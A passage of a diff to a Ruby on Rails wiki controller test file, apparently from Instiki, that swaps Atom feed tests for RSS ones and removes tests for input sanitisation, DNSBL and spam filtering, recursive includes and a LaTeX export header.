-    @web.update_attributes(:password => 'aaa', :published => true)
-    @web = Web.find(@web.id)
+  def test_rss_switch_links_to_published
+    setup_wiki_with_three_pages
+    @web.password = 'aaa'
+    @web.published = true
     
     @request.host = 'foo.bar.info'
     @request.port = 80
 
-    r = process 'atom_with_headlines', 'web' => 'wiki1'
+    r = process 'rss_with_headlines', 'web' => 'wiki1'
 
-    assert_response(:success)
+    assert_success
     xml = REXML::Document.new(r.body)
 
     expected_page_links =
-        ['http://foo.bar.info/wiki1/published/Elephant',
+        ['http://foo.bar.info/wiki1/published/HomePage',
          'http://foo.bar.info/wiki1/published/Oak',
-         'http://foo.bar.info/wiki1/published/NoWikiWord',
-         'http://foo.bar.info/wiki1/published/ThatWay',
-         'http://foo.bar.info/wiki1/published/SmartEngine',
-         'http://foo.bar.info/wiki1/published/MyWay',
-         'http://foo.bar.info/wiki1/published/FirstPage',
-         'http://foo.bar.info/wiki1/published/HomePage']
+         'http://foo.bar.info/wiki1/published/Elephant']
     
-    assert_tag :tag => 'link',
-               :parent =>{:tag =>'feed'},
-               :attributes => {:rel => 'alternate',
-                               :href => 'http://foo.bar.info/wiki1/published/HomePage'}
-    expected_page_links.each do |link|
-      assert_tag :tag => 'link',
-                 :parent => {:tag => 'entry'},
-                 :attributes => {:href => link}
-    end
+    assert_template_xpath_match '/rss/channel/link', 
+        'http://foo.bar.info/wiki1/published/HomePage'
+    assert_template_xpath_match '/rss/channel/item/guid', expected_page_links
+    assert_template_xpath_match '/rss/channel/item/link', expected_page_links
   end
 
-#  def test_atom_with_params
-#    setup_wiki_with_30_pages
-#
-#    r = process 'atom_with_headlines', 'web' => 'wiki1'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 15, pages.size, 15
-#    
-#    r = process 'atom_with_headlines', 'web' => 'wiki1', 'limit' => '5'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 5, pages.size
-#    
-#    r = process 'atom_with_headlines', 'web' => 'wiki1', 'limit' => '25'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 25, pages.size
-#    
-#    r = process 'atom_with_headlines', 'web' => 'wiki1', 'limit' => 'all'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 38, pages.size
-#    
-#    r = process 'atom_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-16'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 23, pages.size
-#    
-#    r = process 'atom_with_headlines', 'web' => 'wiki1', 'end' => '1976-10-16'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 15, pages.size
-#    
-#    r = process 'atom_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-01', 'end' => '1976-10-06'
-#    assert_response(:success)
-#    pages = r.template_objects['pages_by_revision']
-#    assert_equal 5, pages.size
-#  end
+  def test_rss_with_params
+    setup_wiki_with_30_pages
 
-  def test_atom_title_with_ampersand
+    r = process 'rss_with_headlines', 'web' => 'wiki1'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 15, pages.size, 15
+    
+    r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => '5'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 5, pages.size
+    
+    r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => '25'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 25, pages.size
+    
+    r = process 'rss_with_headlines', 'web' => 'wiki1', 'limit' => 'all'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 31, pages.size
+    
+    r = process 'rss_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-16'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 16, pages.size
+    
+    r = process 'rss_with_headlines', 'web' => 'wiki1', 'end' => '1976-10-16'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 15, pages.size
+    
+    r = process 'rss_with_headlines', 'web' => 'wiki1', 'start' => '1976-10-01', 'end' => '1976-10-06'
+    assert_success
+    pages = r.template_objects['pages_by_revision']
+    assert_equal 5, pages.size
+  end
+
+  def test_rss_title_with_ampersand
     # was ticket:143
-    # Since we're declaring <title> to be of type="html", the content is unescaped once before interpreting.
-    # Evidently, the desired behaviour is that the final result be HTML-encoded. Hence the double-encoding here.
+    setup_wiki_with_three_pages
+    
     @wiki.write_page('wiki1', 'Title&With&Ampersands', 
-      'About spaces', 1.hour.ago, Author.new('NitPicker', '127.0.0.3'), x_test_renderer)
+      'About spaces', 1.hour.ago, Author.new('NitPicker', '127.0.0.3'))
 
-    r = process 'atom_with_headlines', 'web' => 'wiki1'
+    r = process 'rss_with_headlines', 'web' => 'wiki1'
 
-    assert r.body.include?('<title type="html">Home Page</title>')
-    assert r.body.include?('<title type="html">Title&amp;amp;With&amp;amp;Ampersands</title>')
+    assert r.body.include?('<title>Home Page</title>')
+    assert r.body.include?('<title>Title&amp;With&amp;Ampersands</title>')
   end
 
-  def test_atom_timestamp    
+  def test_rss_timestamp
+    setup_wiki_with_three_pages
+    
     new_page = @wiki.write_page('wiki1', 'PageCreatedAtTheBeginningOfCtime', 
-      'Created on 1 Jan 1970 at 0:00:00 Z', Time.at(0), Author.new('NitPicker', '127.0.0.3'),
-      x_test_renderer)
+      'Created on 1 Jan 1970 at 0:00:00 Z', Time.at(0), Author.new('NitPicker', '127.0.0.3'))
 
-    r = process 'atom_with_headlines', 'web' => 'wiki1'
-    assert_tag :tag =>'published',
-               :parent => {:tag => 'entry'},
-               :content => Time.now.getgm.strftime("%Y-%m-%dT%H:%M:%SZ")
+    r = process 'rss_with_headlines', 'web' => 'wiki1'
+    
+    assert_template_xpath_match '/rss/channel/item/pubDate[4]', "Thu, 01 Jan 1970 00:00:00 Z"
   end
   
   def test_save
     r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', 
       'author' => 'AuthorOfNewPage'
     
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'NewPage'
-    assert_equal 'AuthorOfNewPage', r.cookies['author']
-    assert_match @eternity, r.headers["Set-Cookie"][0]
+    assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage'
+    assert_equal ['AuthorOfNewPage'], r.cookies['author'].value
     new_page = @wiki.read_page('wiki1', 'NewPage')
     assert_equal 'Contents of a new page', new_page.content
     assert_equal 'AuthorOfNewPage', new_page.author
   end
 
-  def test_save_astral_plane_characters
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => "Double-struck A: \360\235\224\270", 
-      'author' => "\xF0\x9D\x94\xB8\xC3\xBCthorOfNewPage"
-    
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'NewPage'
-    assert_match @eternity, r.headers["Set-Cookie"][0]
-    new_page = @wiki.read_page('wiki1', 'NewPage')
-    assert_equal "Double-struck A: \360\235\224\270", new_page.content
-    a = ''.respond_to?(:force_encoding) ? "\u{1D538}\u00FCthorOfNewPage" :
-                                          "\360\235\224\270\303\274thorOfNewPage"
-    assert_equal a, new_page.author
-    assert_equal a, r.cookies['author']
-  end
-
-  def test_save_not_utf8
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => "Cont\000ents of a new page\r\n\000", 
-      'author' => 'AuthorOfNewPage'
-    
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'NewPage'
-    assert_equal 'AuthorOfNewPage', r.cookies['author']
-    assert_match @eternity, r.headers["Set-Cookie"][0]
-    new_page = @wiki.read_page('wiki1', 'NewPage')
-    assert_equal "Contents of a new page\r\n", new_page.content
-    assert_equal 'AuthorOfNewPage', new_page.author
-  end
-
-  def test_save_not_utf8_ncr
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => "Contents of a new page\r\n&#xfffe;", 
-      'author' => 'AuthorOfNewPage'
-    
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'NewPage'
-    assert_equal 'AuthorOfNewPage', r.cookies['author']
-    assert_match @eternity, r.headers["Set-Cookie"][0]
-    new_page = @wiki.read_page('wiki1', 'NewPage')
-    assert_equal "Contents of a new page\r\n", new_page.content
-    assert_equal 'AuthorOfNewPage', new_page.author
-  end
-
-  def test_save_not_utf8_dec_ncr
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => "Contents of a new page\r\n&#65535;", 
-      'author' => 'AuthorOfNewPage'
-    
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'NewPage'
-    assert_equal 'AuthorOfNewPage', r.cookies['author']
-    assert_match @eternity, r.headers["Set-Cookie"][0]
-    new_page = @wiki.read_page('wiki1', 'NewPage')
-    assert_equal "Contents of a new page\r\n", new_page.content
-    assert_equal 'AuthorOfNewPage', new_page.author
-  end
-
   def test_save_new_revision_of_existing_page
     @home.lock(Time.now, 'Batman')
-    current_revisions = @home.revisions.size
 
     r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', 
       'author' => 'Batman'
 
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    assert_equal 'Batman', r.cookies['author']
+    assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage'
+    assert_equal ['Batman'], r.cookies['author'].value
     home_page = @wiki.read_page('wiki1', 'HomePage')
-    assert_equal current_revisions+1, home_page.revisions.size
+    assert_equal [home_page], @web.pages.values
+    assert_equal 2, home_page.revisions.size
     assert_equal 'Revised HomePage', home_page.content
     assert_equal 'Batman', home_page.author
     assert !home_page.locked?(Time.now)
   end
 
-  def test_save_new_revision_of_existing_page_invalid_utf8
-    @home.lock(Time.now, 'Batman')
-    current_revisions = @home.revisions.size
-
-    r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => "Newly rev\000ised HomePage", 
-      'author' => 'Batman'
-
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'show', :id => 'HomePage'
-    assert_equal 'Batman', r.cookies['author']
-    home_page = @wiki.read_page('wiki1', 'HomePage')
-    assert_equal current_revisions+1, home_page.revisions.size
-    assert_equal 'Newly revised HomePage', home_page.content
-    assert_equal 'Batman', home_page.author
-    assert !home_page.locked?(Time.now)
-  end
-
-  def test_dnsbl_filter_deny_action
-    @request.remote_addr = "127.0.0.2"
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => "Contents of a new page\r\n",
-      'author' => 'AuthorOfNewPage'
-
-    assert_equal 403, r.response_code
-    resp = %{<p>Access denied. Your IP address, 127.0.0.2, was found on one or more DNSBL blocking } +
-           %{list(s).</p>\n<p>See <a href='http://www.spamcop.net/w3m?action=checkblock&amp;ip=127.0.0.2} +
-           %{'>here</a> for more information.</p>\n<p>See <a href='http://www.spamhaus.org/query/bl?ip=1} +
-           %{27.0.0.2'>here</a> for more information.</p>\n}
-    assert_match Regexp.new(Regexp.escape(resp)), r.body
-  end
-
-  def test_dnsbl_filter_allow_action
-    @request.remote_addr = "127.0.0.2"
-    r = process 'show', 'id' => 'Oak', 'web' => 'wiki1'
-    assert_response :success
-    assert_tag :content => /All about oak/
-  end
-
-  def test_spam_filters
-    revisions_before = @home.revisions.size
-    @home.lock(Time.now, 'AnAuthor')
-    r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage',
-        'content' => @home.revisions.last.content.dup + "\n Try viagra.\n",
-        'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'}
-    assert_redirected_to :action => 'edit', :controller => 'wiki', :web => 'wiki1', :id => 'HomePage',
-      :content => 'HisWay would be MyWay $\sin(x)\begin{svg}<svg/>\end{svg}\includegraphics[width=3e'+
-                  'm]{foo}$ in kinda ThatWay in HisWay though MyWay \OverThere -- see SmartEngine in'+
-                  " that SmartEngineGUI\n Try viagra.\n"
-    assert r.flash[:error].to_s == "Your edit was blocked by spam filtering"
-  end
-
   def test_save_new_revision_identical_to_last
     revisions_before = @home.revisions.size
     @home.lock(Time.now, 'AnAuthor')
@@ -809,590 +562,110 @@ class WikiControllerTest < ActionController::TestCase
         'content' => @home.revisions.last.content.dup, 
         'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'}
 
-    assert_redirected_to :action => 'edit', :controller => 'wiki', :web => 'wiki1', :id => 'HomePage'
-    assert r.flash[:error].to_s == "You have tried to save page 'HomePage' without changing its content"
+    assert_redirected_to :action => 'edit', :web => 'wiki1', :id => 'HomePage'
+    assert_flash_has :error
+    assert r.flash[:error].kind_of?(Instiki::ValidationError)
 
     revisions_after = @home.revisions.size
     assert_equal revisions_before, revisions_after
-    @home = Page.find(@home.id)
     assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful'
   end
 
-  def test_save_new_revision_identical_to_last_but_new_name
-    revisions_before = @liquor.revisions.size
-    @liquor.lock(Time.now, 'AnAuthor')
-  
-    r = process 'save', {'web' => 'wiki1', 'id' => 'liquor', 
-        'content' => @liquor.revisions.last.content.dup, 'new_name' => 'booze',
-        'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/booze'}
-
-    assert_redirected_to :action => 'show', :controller => 'wiki', :web => 'wiki1', :id => 'booze'
-
-    revisions_after = @liquor.revisions.size
-    assert_equal revisions_before + 1, revisions_after
-    @booze = Page.find(@liquor.id)
-    assert !@booze.locked?(Time.now), 'booze should be unlocked if an edit was unsuccessful'
-  end
-
-  def test_save_blank_author
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', 
-      'author' => ''
-    new_page = @wiki.read_page('wiki1', 'NewPage')
-    assert_equal 'AnonymousCoward', new_page.author
-
-    r = process 'save', 'web' => 'wiki1', 'id' => 'AnotherPage', 'content' => 'Contents of a new page', 
-      'author' => '   '
-
-    another_page = @wiki.read_page('wiki1', 'AnotherPage')
-    assert_equal 'AnonymousCoward', another_page.author
-  end
-  
-  def test_save_revised_content_author_name_with_period
-    r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Contents of a very new page',
-          'author' => 'foo.bar'
-    assert_redirected_to :action => 'show', :controller => 'wiki', :web => 'wiki1', :id => 'HomePage'
-    assert_equal 'foo.bar', @wiki.read_page('wiki1', 'HomePage').author
-
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'a'*10184,
-          'author' => 'foo.bar'
-    assert_redirected_to :action => 'show', :controller => 'wiki', :web => 'wiki1', :id => 'NewPage'
-    assert_equal 'foo.bar', @wiki.read_page('wiki1', 'NewPage').author
-  end
-
-  def test_save_invalid_author_name
-    r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', 
-      'author' => "Fu\000Manchu"
-
-    assert_redirected_to :action => 'show', :controller => 'wiki', :web => 'wiki1', :id => 'NewPage'
-    new_page = @wiki.read_page('wiki1', 'NewPage')
-    assert_equal 'FuManchu', new_page.author
-
-    r = process 'save', 'web' => 'wiki1', 'id' => 'AnotherPage', 'content' => 'Contents of a new page', 
-      'author' => "\000"
-
-    assert_redirected_to :action => 'show', :controller => 'wiki', :web => 'wiki1', :id => 'AnotherPage'
-    new_page = @wiki.read_page('wiki1', 'AnotherPage')
-    assert_equal 'AnonymousCoward', new_page.author
-
-    r = process 'save', 'web' => 'wiki1', 'id' => 'AnotherPage', 'content' => 'Revised contents of a new page', 
-      'author' => "G&#xfffe;eo&#2147483647;rge &#38; June"
-
-    assert_redirected_to :action => 'show', :controller => 'wiki', :web => 'wiki1', :id => 'AnotherPage'
-    new_page = @wiki.read_page('wiki1', 'AnotherPage')
-    assert_equal 'George &#38; June', new_page.author
-  end
 
   def test_search
+    setup_wiki_with_three_pages
+    
     r = process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak'
     
-    assert_redirected_to :web => 'wiki1', :action => 'show', :controller => 'wiki', :id => 'Oak'
+    assert_redirected_to :action => 'show', :id => 'Oak'
   end
 
   def test_search_multiple_results
+    setup_wiki_with_three_pages
+    
     r = process 'search', 'web' => 'wiki1', 'query' => 'All about'
     
-    assert_response(:success)
+    assert_success
     assert_equal 'All about', r.template_objects['query']
     assert_equal [@elephant, @oak], r.template_objects['results']
     assert_equal [], r.template_objects['title_results']
   end
 
   def test_search_by_content_and_title
+    setup_wiki_with_three_pages
+    
     r = process 'search', 'web' => 'wiki1', 'query' => '(Oak|Elephant)'
     
-    assert_response(:success)
+    assert_success
     assert_equal '(Oak|Elephant)', r.template_objects['query']
     assert_equal [@elephant, @oak], r.template_objects['results']
     assert_equal [@elephant, @oak], r.template_objects['title_results']
   end
 
   def test_search_zero_results
-    r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant < text'
+    setup_wiki_with_three_pages
     
-    assert_response(:success)
-    assert_equal [], r.template_objects['results']
-    assert_equal [], r.template_objects['title_results']
-    create_pattern = Regexp.new(Regexp.escape(%{<b>Create a new page, named:</b> \"}+
-        %{<span class='newWikiWord'><a href=\"/wiki1/new/non-existant+%3C+t}+
-        %{ext\">non-existant &lt; text</a></span>}))
-    assert_match create_pattern, r.body
-  end
-
-  def test_search_null_in_query
-    r = process 'search', 'web' => 'wiki1', 'query' => "non-existant\x00"
+    r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text'
     
-    assert_response(:success)
-    assert_match /No pages contain \"non-existant\"/, r.body
-  end
-
-  def test_search_FFFF_in_query
-    r = process 'search', 'web' => 'wiki1', 'query' => "\xEF\xBF\xBF"
-    
-    assert_response(:success)
-    assert_match /9 page\(s\) containing search string in the page name:/, r.body
-
-    r = process 'search', 'web' => 'wiki1', 'query' => "Al\357\277\277l about"
-    
-    assert_response(:success)
-    assert_equal 'All about', r.template_objects['query']
-    assert_equal [@elephant, @oak], r.template_objects['results']
-    assert_equal [], r.template_objects['title_results']
-  end
-
-  def test_search_FFFD_in_query
-    r = process 'search', 'web' => 'wiki1', 'query' => "\xEF\xBF\xBD"
-    
-    assert_response(:success)
+    assert_success
     assert_equal [], r.template_objects['results']
     assert_equal [], r.template_objects['title_results']
   end
+  
+  
+
 
   def test_show_page
-    r = process 'show', 'id' => 'Oak', 'web' => 'wiki1'
-    assert_response :success
-    assert_tag :content => /All about oak/
+    r = process('show', 'id' => 'HomePage', 'web' => 'wiki1')
+    assert_success
+    assert_match /First revision of the <a.*HomePage.*<\/a> end/, r.body
   end
 
   def test_show_page_with_multiple_revisions
     @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
+        Author.new('AnotherAuthor', '127.0.0.2'))
 
     r = process('show', 'id' => 'HomePage', 'web' => 'wiki1')
 
-    assert_response :success
+    assert_success
     assert_match /Second revision of the <a.*HomePage.*<\/a> end/, r.body
   end
 
-  def test_recursive_include
-    @wiki.write_page('wiki1', 'HomePage', "Self-include:\n\n [[!include HomePage]] ", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-
-    r = process('show', 'id' => 'HomePage', 'web' => 'wiki1')
-
-    assert_response :success
-    assert_match /<em>Recursive include detected: HomePage \342\206\222 HomePage<\/em>/, r.body.as_utf8
-  end
-
-  def test_recursive_include_II
-    @wiki.write_page('wiki1', 'Foo', "extra fun [[!include HomePage]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    @wiki.write_page('wiki1', 'HomePage', "Recursive-include:\n\n[[!include Foo]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-
-    r = process('show', 'id' => 'HomePage', 'web' => 'wiki1')
-
-    assert_response :success
-    assert_match /<p>Recursive-include:<\/p>\n\n<p>extra fun <em>Recursive include detected: Foo \342\206\222 Foo<\/em><\/p>/, r.body.as_utf8
-  end
-  
-  def test_recursive_include_III
-    @wiki.write_page('wiki1', 'Bar', "extra fun\n\n[[!include HomePage]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    @wiki.write_page('wiki1', 'Foo', "[[!include Bar]]\n\n[[!include Bar]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    @wiki.write_page('wiki1', 'HomePage', "Recursive-include:\n\n[[!include Foo]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-
-    r = process('show', 'id' => 'HomePage', 'web' => 'wiki1')
-
-    assert_response :success
-    assert_match /<p>Recursive-include:<\/p>\n\n<p>extra fun<\/p>\n<em>Recursive include detected: Bar \342\206\222 Bar<\/em>/, r.body.as_utf8
-  end
-
-  def test_nonrecursive_include
-    @wiki.write_page('wiki1', 'Bar', "extra fun\n\n[[HomePage]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    @wiki.write_page('wiki1', 'Foo', "[[!include Bar]]\n\n[[!include Bar]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    @wiki.write_page('wiki1', 'HomePage', "Nonrecursive-include:\n\n[[!include Foo]]", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-
-    r = process('show', 'id' => 'HomePage', 'web' => 'wiki1')
-
-    assert_response :success
-    assert_match /<p>Nonrecursive-include:<\/p>\n\n<p>extra fun<\/p>\n\n<p><a class='existingWikiWord' href='\/wiki1\/show\/HomePage'>HomePage<\/a><\/p>/, r.body
-  end
-  
-  def test_divref
-    @wiki.write_page('wiki1', 'Bar',  "+-- \{: .num_lemma #Leftcosetsdisjoint\}\n###### Lem" +
-      "ma\nLet $H$ be a subgroup of a group $G$, and let $x$ and $y$ be elements\n of $G$" +
-      ". Suppose that $x H \\cap y H$ is non-empty. Then $x H = y H$.\n=--\n\n See Lemma \\" +
-      "ref\{Leftcosetsdisjoint\}.", Time.now, 
-        Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-
-    r = process('show', 'id' => 'Bar', 'web' => 'wiki1')
-
-    assert_response :success
-    resp = %{<div class='num_lemma' id='Leftcosetsdisjoint'>\n<h6 id='lemma_1'>Lemma</h6>\n\n} +
-      %{<p>Let <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Mat} +
-      %{h/MathML'><mi>H</mi></math> be a subgroup of a group <math class='maruku-mathml' displ} +
-      %{ay='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math>, and let <ma} +
-      %{th class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-      %{<mi>x</mi></math> and <math class='maruku-mathml' display='inline' xmlns='http://www.} +
-      %{w3.org/1998/Math/MathML'><mi>y</mi></math> be elements of <math class='maruku-mathml'} +
-      %{ display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math>. Suppo} +
-      %{se that <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Ma} +
-      %{th/MathML'><mi>x</mi><mi>H</mi><mo>\342\210\251</mo><mi>y</mi><mi>H</mi></math> is no} +
-      %{n-empty. Then <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1} +
-      %{998/Math/MathML'><mi>x</mi><mi>H</mi><mo>=</mo><mi>y</mi><mi>H</mi></math>.</p>\n</di} +
-      %{v>\n\n<p>See Lemma <a class='maruku-ref' href='#Leftcosetsdisjoint'>1</a>.</p>}
-    assert_match Regexp.new(resp), r.body
-  end
-  
   def test_show_page_nonexistant_page
     process('show', 'id' => 'UnknownPage', 'web' => 'wiki1')
-    assert_redirected_to :web => 'wiki1', :controller => 'wiki', :action => 'new', :id => 'UnknownPage'
+    assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage'
   end
 
   def test_show_no_page
     r = process('show', 'id' => '', 'web' => 'wiki1')
-    assert_response :missing
+    assert_equal 404, r.response_code
     
     r = process('show', 'web' => 'wiki1')
-    assert_response :missing
+    assert_equal 404, r.response_code
   end
 
-  def set_tex_header
-    @tex_header1 = %q!\documentclass[12pt,titlepage]{article}
 
-\usepackage{amsmath}
-\usepackage{amsfonts}
-\usepackage{amssymb}
-\usepackage{amsthm}
-\usepackage{mathtools}
-!
-    @tex_header2 = %q!\usepackage{graphicx}
-\usepackage{color}
-\usepackage{ucs}
-\usepackage[utf8x]{inputenc}
-\usepackage{xparse}
-\usepackage{hyperref}
-
-%----Macros----------
-%
-% Unresolved issues:
-%
-%  \righttoleftarrow
-%  \lefttorightarrow
-%
-%  \color{} with HTML colorspec
-%  \bgcolor
-%  \array with options (without options, it's equivalent to the matrix environment)
-
-% Of the standard HTML named colors, white, black, red, green, blue and yellow
-% are predefined in the color package. Here are the rest.
-\definecolor{aqua}{rgb}{0, 1.0, 1.0}
-\definecolor{fuschia}{rgb}{1.0, 0, 1.0}
-\definecolor{gray}{rgb}{0.502, 0.502, 0.502}
-\definecolor{lime}{rgb}{0, 1.0, 0}
-\definecolor{maroon}{rgb}{0.502, 0, 0}
-\definecolor{navy}{rgb}{0, 0, 0.502}
-\definecolor{olive}{rgb}{0.502, 0.502, 0}
-\definecolor{purple}{rgb}{0.502, 0, 0.502}
-\definecolor{silver}{rgb}{0.753, 0.753, 0.753}
-\definecolor{teal}{rgb}{0, 0.502, 0.502}
-
-% Because of conflicts, \space and \mathop are converted to
-% \itexspace and \operatorname during preprocessing.
-
-% itex: \space{ht}{dp}{wd}
-%
-% Height and baseline depth measurements are in units of tenths of an ex while
-% the width is measured in tenths of an em.
-\makeatletter
-\newdimen\itex@wd%
-\newdimen\itex@dp%
-\newdimen\itex@thd%
-\def\itexspace#1#2#3{\itex@wd=#3em%
-\itex@wd=0.1\itex@wd%
-\itex@dp=#2ex%
-\itex@dp=0.1\itex@dp%
-\itex@thd=#1ex%
-\itex@thd=0.1\itex@thd%
-\advance\itex@thd\the\itex@dp%
-\makebox[\the\itex@wd]{\rule[-\the\itex@dp]{0cm}{\the\itex@thd}}}
-\makeatother
-
-% \tensor and \multiscript
-\makeatletter
-\newif\if@sup
-\newtoks\@sups
-\def\append@sup#1{\edef\act{\noexpand\@sups={\the\@sups #1}}\act}%
-\def\reset@sup{\@supfalse\@sups={}}%
-\def\mk@scripts#1#2{\if #2/ \if@sup ^{\the\@sups}\fi \else%
-  \ifx #1_ \if@sup ^{\the\@sups}\reset@sup \fi {}_{#2}%
-  \else \append@sup#2 \@suptrue \fi%
-  \expandafter\mk@scripts\fi}
-\def\tensor#1#2{\reset@sup#1\mk@scripts#2_/}
-\def\multiscripts#1#2#3{\reset@sup{}\mk@scripts#1_/#2%
-  \reset@sup\mk@scripts#3_/}
-\makeatother
-
-% \slash
-\makeatletter
-\newbox\slashbox \setbox\slashbox=\hbox{$/$}
-\def\itex@pslash#1{\setbox\@tempboxa=\hbox{$#1$}
-  \@tempdima=0.5\wd\slashbox \advance\@tempdima 0.5\wd\@tempboxa
-  \copy\slashbox \kern-\@tempdima \box\@tempboxa}
-\def\slash{\protect\itex@pslash}
-\makeatother
-
-% math-mode versions of \rlap, etc
-% from Alexander Perlis, "A complement to \smash, \llap, and lap"
-%   http://math.arizona.edu/~aprl/publications/mathclap/
-\def\clap#1{\hbox to 0pt{\hss#1\hss}}
-\def\mathllap{\mathpalette\mathllapinternal}
-\def\mathrlap{\mathpalette\mathrlapinternal}
-\def\mathclap{\mathpalette\mathclapinternal}
-\def\mathllapinternal#1#2{\llap{$\mathsurround=0pt#1{#2}$}}
-\def\mathrlapinternal#1#2{\rlap{$\mathsurround=0pt#1{#2}$}}
-\def\mathclapinternal#1#2{\clap{$\mathsurround=0pt#1{#2}$}}
-
-% Renames \sqrt as \oldsqrt and redefine root to result in \sqrt[#1]{#2}
-\let\oldroot\root
-\def\root#1#2{\oldroot #1 \of{#2}}
-\renewcommand{\sqrt}[2][]{\oldroot #1 \of{#2}}
-
-% Manually declare the txfonts symbolsC font
-\DeclareSymbolFont{symbolsC}{U}{txsyc}{m}{n}
-\SetSymbolFont{symbolsC}{bold}{U}{txsyc}{bx}{n}
-\DeclareFontSubstitution{U}{txsyc}{m}{n}
-
-% Manually declare the stmaryrd font
-\DeclareSymbolFont{stmry}{U}{stmry}{m}{n}
-\SetSymbolFont{stmry}{bold}{U}{stmry}{b}{n}
-
-% Declare specific arrows from txfonts without loading the full package
-\makeatletter
-\def\re@DeclareMathSymbol#1#2#3#4{%
-    \let#1=\undefined
-    \DeclareMathSymbol{#1}{#2}{#3}{#4}}
-\re@DeclareMathSymbol{\neArrow}{\mathrel}{symbolsC}{116}
-\re@DeclareMathSymbol{\neArr}{\mathrel}{symbolsC}{116}
-\re@DeclareMathSymbol{\seArrow}{\mathrel}{symbolsC}{117}
-\re@DeclareMathSymbol{\seArr}{\mathrel}{symbolsC}{117}
-\re@DeclareMathSymbol{\nwArrow}{\mathrel}{symbolsC}{118}
-\re@DeclareMathSymbol{\nwArr}{\mathrel}{symbolsC}{118}
-\re@DeclareMathSymbol{\swArrow}{\mathrel}{symbolsC}{119}
-\re@DeclareMathSymbol{\swArr}{\mathrel}{symbolsC}{119}
-\re@DeclareMathSymbol{\nequiv}{\mathrel}{symbolsC}{46}
-\re@DeclareMathSymbol{\Perp}{\mathrel}{symbolsC}{121}
-\re@DeclareMathSymbol{\Vbar}{\mathrel}{symbolsC}{121}
-\re@DeclareMathSymbol{\sslash}{\mathrel}{stmry}{12}
-\re@DeclareMathSymbol{\invamp}{\mathrel}{symbolsC}{77}
-\re@DeclareMathSymbol{\parr}{\mathrel}{symbolsC}{77}
-\makeatother
-
-% Widecheck
-\makeatletter
